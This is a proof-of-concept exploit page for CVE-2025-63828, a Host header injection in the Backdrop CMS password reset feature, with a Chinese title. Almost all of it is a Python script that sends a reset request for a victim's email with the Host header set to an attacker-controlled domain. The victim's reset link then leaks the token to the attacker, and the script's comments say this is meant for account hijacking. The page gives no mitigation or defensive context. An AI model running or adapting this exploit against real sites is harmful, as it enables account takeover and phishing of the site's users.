CVE-2025-63828 Backdrop CMS Host头注入漏洞导致钓鱼和会话劫持

import requests # CVE-2025-63828 PoC - Host Header Injection in Backdrop CMS 1.32.1 # Target: Backdrop CMS password reset functionality # Attack: Manipulate Host header to redirect password reset to malicious domain TARGET_URL = "http://target-backdrop-cms.com" MALICIOUS_DOMAIN = "attacker-controlled-domain.com" def exploit_host_header_injection(): """ Exploit Host Header Injection in password reset functionality This causes the password reset email to contain a link to the attacker's domain """ # Step 1: Request password reset with manipulated Host header reset_endpoint = f"{TARGET_URL}/user/password" headers = { "Host": MALICIOUS_DOMAIN, "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } data = { "name": "[email protected]" # Target victim email } response = requests.post(reset_endpoint, headers=headers, data=data) print(f"[*] Sent password reset request with malicious Host header: {MALICIOUS_DOMAIN}") print(f"[*] Response Status: {response.status_code}") # Step 2: If successful, victim's email will contain a reset link pointing to attacker domain # The link format will be: http://attacker-controlled-domain.com/user/password/reset/TOKEN print("[*] If successful, victim will receive email with malicious password reset link") print("[*] Attacker can then capture the reset token and hijack the account") if __name__ == "__main__": exploit_host_header_injection()